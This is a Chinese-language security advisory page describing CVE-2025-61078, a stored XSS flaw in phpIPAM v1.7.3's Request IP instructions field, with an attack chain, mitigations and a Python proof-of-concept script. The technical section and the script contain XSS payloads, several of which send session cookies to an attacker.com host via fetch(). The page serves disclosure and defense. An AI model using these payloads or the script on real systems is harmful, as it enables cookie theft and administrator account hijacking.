IPBUF安全漏洞报告
English
CVE-2025-61078 CVSS 6.1 中危

CVE-2025-61078 phpIPAM v1.7.3 Request IP表单跨站脚本(XSS)漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-61078
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
phpIPAM

相关标签

CVE-2025-61078XSS跨站脚本phpIPAM存储型XSSWeb安全CVE-2025IP地址管理Request IP表单edit-result.php

漏洞概述

CVE-2025-61078是phpIPAM v1.7.3版本中存在的一个存储型跨站脚本(XSS)漏洞。该漏洞位于Request IP功能的表单处理模块中,具体攻击向量为instructions参数。攻击者可以通过向/app/admin/instructions/edit-result.php端点提交特制的恶意JavaScript代码或HTML标签,当其他用户访问或管理该内容时,恶意代码将在受害者浏览器中执行,从而窃取会话Cookie、劫持用户账户或执行其他恶意操作。phpIPAM是一款开源的IP地址管理应用程序,广泛应用于企业网络环境中用于管理IP地址分配、子网划分等任务。由于该应用通常需要管理员权限访问后台功能,因此此XSS漏洞可能对整个IP管理基础设施造成安全威胁。攻击者利用此漏洞可以在管理员不知情的情况下获取敏感信息或提升其在系统中的权限。该漏洞的CVSS评分为6.1,属于中等严重程度,主要因为其需要用户交互才能触发攻击。

技术细节

该漏洞属于存储型XSS(Stored XSS)漏洞,攻击者提交的恶意载荷会被永久存储在服务器端。漏洞产生的根本原因在于phpIPAM应用对用户输入的instructions参数缺乏充分的输入验证和输出编码。在/app/admin/instructions/edit-result.php文件中,应用程序直接将用户提交的instructions参数值存入数据库,随后在管理界面展示时未进行适当的HTML转义处理。当管理员查看Request IP表单的相关内容时,浏览器会解析并执行存储的恶意脚本代码。攻击者可以利用此漏洞构造如下攻击载荷:<script>alert(document.cookie)</script>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。由于phpIPAM的管理后台通常包含敏感操作如IP地址分配、设备配置等,攻击者成功利用此漏洞后可窃取管理员会话令牌,进而在目标系统中执行更高级别的攻击行为,如修改IP分配记录或获取网络基础设施的访问权限。

攻击链分析

STEP 1
1
攻击者访问phpIPAM v1.7.3的Request IP表单功能页面
STEP 2
2
攻击者构造包含恶意JavaScript代码的instructions参数值
STEP 3
3
攻击者向/app/admin/instructions/edit-result.php端点发送POST请求,提交恶意载荷
STEP 4
4
服务器端应用程序未对instructions参数进行输入验证,直接将恶意代码存入数据库
STEP 5
5
当管理员或其他用户访问包含该instructions数据的页面时,浏览器执行存储的恶意脚本
STEP 6
6
恶意脚本在受害者浏览器中执行,可窃取Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-61078 PoC - phpIPAM v1.7.3 XSS via instructions parameter # Target: /app/admin/instructions/edit-result.php def exploit_xss(target_url, payload): """ Exploit stored XSS vulnerability in phpIPAM Request IP form Args: target_url: Base URL of phpIPAM installation payload: Malicious JavaScript/HTML payload Returns: bool: True if payload submitted successfully """ endpoint = f"{target_url}/app/admin/instructions/edit-result.php" # Malicious payload for XSS injection data = { "instructions": payload, "action": "add" } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload submitted to {endpoint}") print(f"[+] Payload: {payload}") return True else: print(f"[-] Failed to submit payload. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Example payloads if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_61078_poc.py <target_url>") print("Example: python cve_2025_61078_poc.py http://192.168.1.100/phpipam") sys.exit(1) target = sys.argv[1] # XSS payload examples payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(document.cookie)>", "<svg/onload=fetch('https://attacker.com/steal?c='+btoa(document.cookie))>" ] for payload in payloads: exploit_xss(target, payload)

影响范围

phpIPAM v1.7.3

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)限制phpIPAM管理后台的访问权限,仅允许受信任的IP地址访问;2)对Web服务器配置严格的Referer检查策略;3)使用WAF(Web应用防火墙)规则拦截包含<script>、<img>、<svg>等危险HTML标签的请求;4)临时禁用Request IP表单功能;5)实施严格的会话管理和双因素认证,降低账户被劫持的风险;6)监控访问日志,及时发现异常的XSS攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表